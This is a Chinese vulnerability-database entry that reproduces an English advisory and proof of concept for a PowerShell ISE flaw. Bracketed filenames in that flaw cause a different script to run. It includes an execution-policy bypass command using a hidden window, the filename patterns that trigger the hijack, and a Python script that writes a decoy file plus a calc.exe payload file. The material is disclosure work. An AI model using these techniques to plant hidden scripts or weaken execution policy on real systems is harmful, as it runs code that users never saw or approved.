PowerShell ISE/文件名解析缺陷远程执行代码漏洞#RCE

基础信息

• ID 1337DAY-ID- 32642
• 类型 zdt
• Reporter hyp3rlinx
• 修改后的 2019-05-03 00:00:00

描述

在调试包含数组括号作为文件名一部分的特制PowerShell脚本时，Microsoft Windows PowerShell ISE将执行错误提供的代码。这可能导致ISE执行由文件名指向的攻击者提供的脚本，而不是当前加载主机应用程序中用户查看的“可信”PS文件。这破坏了PowerShell ISE的完整性，允许潜在的意外远程代码执行。

漏洞复现

如果没有开启运行Powershell的权限会报错。

PS C:\ProjectCode\PythonScript> .\[HelloWorldTutoria1].ps1
.\[HelloWorldTutoria1].ps1 : 无法加载文件 C:\ProjectCode\PythonScript\1.ps1，因为在此系统上禁止运行脚本。有关详细信息，
请参阅 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。
所在位置 行:1 字符: 1
+ .\[HelloWorldTutoria1].ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) []，PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

假设如果可以直接操作Powershell，执行以下语句，可以开启运行powershell脚本的策略。

Set-ExecutionPolicy -Scope CurrentUser Unrestricted

如果不可以直接操作Powershell，那么则使用绕过Poweshell安全策略的方式运行Powershell。设置一个快捷方式：

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Get-Content .\[HelloWorldTutoria1].ps1 | powershell.exe -windows hidden -nop -

当快捷方式运行后，同目录下的l.ps1会运行，效果是弹出计算器

PS C:\ProjectCode\PythonScript> .\[HelloWorldTutoria1].ps1
Hello World!

Exploit.ps1代码如下：

Write-Output "Hello World!"

l.ps1代码如下：

start calc.exe
Write-Output "Hello World!"

漏洞效果

引用信息

Windows PowerShell ISE / Filename Parsing Flaw Remote Code Execution Exploit

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WINDOWS-POWERSHELL-ISE-FILENAME-PARSING-FLAW-RCE-0DAY.txt 

[Vendor]
www.microsoft.com

[Product]
Windows PowerShell ISE

The Windows PowerShell Integrated Scripting Environment (ISE) is a host application for Windows PowerShell.
In the ISE, you can run commands and write, test, and debug scripts in a single Windows-based graphic user interface.

[Vulnerability Type]
Filename Parsing Flaw Remote Code Execution 0day

[References]
ZDI-CAN-8005

[Security Issue]
Windows PowerShell ISE will execute wrongly supplied code when debugging specially crafted PowerShell scripts that contain
array brackets as part of the filename. This can result in ISE executing attacker supplied scripts pointed to by the filename
and not the "trusted" PS file currently loaded and being viewed by a user in the host application. This undermines the integrity of
PowerShell ISE allowing potential unexpected remote code execution.

In PowerShell brackets are used to access array elements.

PS C:\> $a=1..10
PS C:\> $a[4]
5

However, when brackets are used as part of the filename it can be used to hijack the currently loaded file in place of another malicious file.
That file must contain a single matching char value which is also found in our specially crafted filename.

Requirements are both files must reside in the same directory. Example, if a file named [HelloWorldTutoria1].ps1 resides alongside a
file named 1.ps1 it will create a script hijacking condition. Note, the last letter is a number "1" not a lowercase "L".

Other things I discovered playing with PS filenames is we can target scripts using a single alphabetic or numeric char and certain symbols.
PowerShell scripts with only a single quote also work, [Pwned'].ps1 will load and execute ===> '.ps1 if debugged from the vuln ISE application.

These chars also get the job done:
"$" "_" "#" "^"  plus any single case insensitive letter a-z or numbers 0-9, [Hello_World].ps1 ====> _.ps1

[Hello].ps1 will execute this instead =====> h.ps1

Dashes "-" throw the following error: "The specified wildcard character pattern is not valid: [Hello-World].ps1" when pointing to
another PS file named -.ps1 and seems to treat it sort of like a meta-character.

[pw3d].ps1 <===== expected to execute

3.ps1 <===== actually executed

This exploits the trust between PowerShell ISE and the end user. So scripts debugged local or over a network share display "trusted" code
in ISE that is expected to run. However, when the user debugs the script a different script gets executed.
Interestingly, that second script does NOT get loaded into PowerShell ISE upon execution, so a user may not see anything amiss.

User interaction is required for a successful attack to occur and obviously running any unknown PowerShell script can be dangerous.
Again, this exploit takes advantage of "trust" where users can see and read the code and will trust it as everything looks just fine and
yet ... still they get PWNED!.

Tested successfully on Win7/10

Long live user interaction! lol...

[POC Video URL]
https://www.youtube.com/watch?v=T2I_-iUPaFw

[Exploit/POC]
After opening PS files in ISE, set the execution policy so can test without issues.
set-executionpolicy unrestricted -force

PS scripts over Network shares may get 'RemoteSigned' security policy issue so run below cmd.

set-executionpolicy unrestricted -force process
Choose 'R' to run once.

Below Python script will create two .ps1 files to demonstrate the vulnerable condition.
Examine the code, what does it say? it reads... Write-output "Hello World!"... now Run it...

BAM! other PS script executes!.

#PowerShell ISE 0day Xploit
#ZDI-CAN-8005
#ZDI CVSS: 7.0
#hyp3rlinx
#ApparitionSec

fname1="[HelloWorldTutoria1].ps1"    #Expected code to run is 'HelloWorld!'
fname2="1.ps1"                       #Actual code executed is calc.exe for Poc
evil_code="start calc.exe"           #Edit to suit your needs.
c=0
payload1='Write-Output "Hello World!"'
payload2=evil_code+"\n"+'Write-Output "Hello World!"'

def mk_ps_hijack_script():
    global c
    c+=1
    f=open(globals()["fname"+str(c)],"wb")
    f.write(globals()["payload"+str(c)])
    f.close()
    if c<2:
        mk_ps_hijack_script()

if __name__=="__main__":
    mk_ps_hijack_script()
    print "PowerShell ISE Xploit 0day Files Created!"
    print "Discovery by hyp3rlinx"
    print "ZDI-CAN-8005"

#  0day.today [2019-05-03]  #

来源

https://vulners.com/zdt/1337DAY-ID-32642